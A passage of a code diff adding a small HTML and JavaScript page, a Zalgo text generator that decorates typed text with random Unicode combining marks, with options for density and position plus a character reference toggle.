+ var txt = p.value;
+ var newtxt = '';
+ for(var i=0; i<txt.length; i++) {
+ if(is_zalgo_char(txt.substr(i, 1)))
+ continue;
+ var num_up;
+ var num_mid;
+ var num_down;
+ newtxt += txt.substr(i, 1);
+ if(document.getElementById('zalgo_opt_mini').checked) {
+ num_up = rand(8);
+ num_mid = rand(2);
+ num_down = rand(8);
+ } else if(document.getElementById('zalgo_opt_normal').checked) {
+ num_up = rand(16) / 2 + 1;
+ num_mid = rand(6) / 2;
+ num_down = rand(16) / 2 + 1;
+ } else {
+ num_up = rand(64) / 4 + 3;
+ num_mid = rand(16) / 4 + 1;
+ num_down = rand(64) / 4 + 3;
+ }
+ if(document.getElementById('zalgo_opt_up').checked)
+ for(var j=0; j<num_up; j++)
+ newtxt += rand_zalgo(zalgo_up);
+ if(document.getElementById('zalgo_opt_mid').checked)
+ for(var j=0; j<num_mid; j++)
+ newtxt += rand_zalgo(zalgo_mid);
+ if(document.getElementById('zalgo_opt_down').checked)
+ for(var j=0; j<num_down; j++)
+ newtxt += rand_zalgo(zalgo_down);
+ }
+ var container = document.getElementById('lulz_container');
+ while(container.childNodes.length)
+ container.removeChild(container.childNodes[0]);
+ var lines = newtxt.split("\n");
+ for(var i=0; i<lines.length; i++) {
+ var n = document.createElement('text');
+ n.innerHTML = lines[i];
+ container.appendChild(n);
+ var nl = document.createElement('br');
+ container.appendChild(nl);
+ }
+ }
+ </script>
+</head>
+<body>
+ <center>
+ <h1>Zalgo Text Generator</h1>
+ <table id="zalgotable"><tbody><tr>
+ <td align="center" id="lulz_container" height="200" width="170">
+ <p align="center" id=lulz></p>
+ </td>
+ </tr><tr>
+ <td style="border:#000 1px solid;" width=200>
+ <input id=zalgo_txt value="im gay" size=50><br><br>
+ <FORM id=zalgo_form action=""><INPUT id=zalgo_btn onclick="zalgo_textarea('zalgo_txt');" type=button value="Zalgo">
+ <INPUT id=zalgo_ref style="FLOAT: right" onclick="toggle('reference');" type=button value="Toggle Reference">
+ <table>
+ <tbody>
+ <tr>
+ <td>
+ <input id=zalgo_opt_up type=checkbox CHECKED>Up
+ <br><input id=zalgo_opt_mid type=checkbox CHECKED>Middle
+ <br><input id=zalgo_opt_down type=checkbox CHECKED>Down
+ </td>
+ <td>
+ <input id=zalgo_opt_mini type=radio name=optval>Minimal
+ <br><input id=zalgo_opt_normal type=radio CHECKED name=optval>Medium
+ <br><input id=zalgo_opt_maxi type=radio name=optval>Maximum
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ </form>
+ <script> zalgo_textarea('zalgo_txt'); </script>
+ </td>
+ </tr>
+ </tbody>
+ </table>
+ <div id=reference style="display:none">
+ <h2>Zalgo Character Reference</h2>
+ <p id=zalgo_ref_tablex><script> draw_zalgo_table('zalgo_ref_tablex');</script></p>
+ </div>
+</body>
+</html>
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |